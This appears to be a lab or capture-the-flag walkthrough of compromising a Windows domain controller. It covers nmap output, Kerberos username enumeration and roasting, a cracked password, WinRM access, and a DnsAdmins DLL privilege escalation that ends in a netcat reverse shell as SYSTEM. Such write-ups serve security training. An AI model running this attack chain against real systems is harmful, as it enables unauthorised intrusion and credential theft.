On this machine I will initiate a SYN scan and define version checking with default scripts.
sudo nmap 172.31.3.3 -sS -p- -sV -sC
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-12-15 19:00:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: brute.csl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: brute.csl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: BRUTE
| NetBIOS_Domain_Name: BRUTE
| NetBIOS_Computer_Name: BRUTE-DC
| DNS_Domain_Name: brute.csl
| DNS_Computer_Name: Brute-DC.brute.csl
| Product_Version: 10.0.17763
|_ System_Time: 2020-12-15T19:01:50+00:00
| ssl-cert: Subject: commonName=Brute-DC.brute.csl
| Not valid before: 2020-12-14T18:52:18
|_Not valid after: 2021-06-15T18:52:18
|_ssl-date: 2020-12-15T19:01:58+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49729/tcp open msrpc Microsoft Windows RPC
Service Info: Host: BRUTE-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: BRUTE-DC, NetBIOS user: <unknown>, NetBIOS MAC: 02:e7:d2:15:e3:46 (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-12-15T19:01:50
|_ start_date: N/A
SMB
As per usual I like to start with quick null authentication checks against SMB. Unfortunately we have nothing to reveal here.
Kerberos
As port 88 is open we can run Kerbrute against the server to hopefully identify any valid usernames.
As above we have discovered four usernames. We can store these in a test file and perform AS-REP roasting with them which I have covered in a little more detail below:
As we have no web server or SMB access the next best logical step is to check for Kerberoastable accounts.
We notice that from the resulting output that the user 'tess' has not returned an error message. We can cat the output file to confirm if we have a hash.
We can send this straight to John and attempt to crack.
sudo john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/brute/hash.txt
We now have the credentials: tess:Unique1
Initial Foothold
I checked these credentials against SMB and had access to list shares. The shares SYSVOL and NETLOGON had nothing interesting in them. We do have WinRM running so we can use Evil-WinRM and attempt to connect.
I like to check the systeminfo command first when looking for privilege escalation but, in this instance access to the command was denied. I next looked at whoami /all to have a quick overview on account memberships and permissions.
What stands out immediately is that we are a member of the 'DnsAdmins' group. I am aware of a privilege escalation method which can be performed by users that are part of the 'DnsAdmins' group.
A quick google search for this returns a really good medium article on performing this attack.
As per the article we first need to create a malicious DLL file with msfvenom.
The article actually recommends hosting the DLL file on a SMB server form our attacking machine. This did not work for me as the connection back to the file kept getting terminated early.
Instead I opted to upload the file directly with Evil-WinRM just make sure when connecting with Evil-WinRM you define the location of the payload with the -s switch. Once connected to the upload command and then specify the file.
After the upload has completed run the following command.
The command should return back completed. Now start up a netcat listener on your attacking machine and specify the same port as used in msfvenom for the payload.
nc -lvp 1234
Next we can query the DNS service on the server to view its status. Then run the following commands:
sc.exe query dns
sc.exe \\brute-dc stop dns
sc.exe \\brute-dc start dns
The netcat shell should get a callback and we should have gained access as SYSTEM.
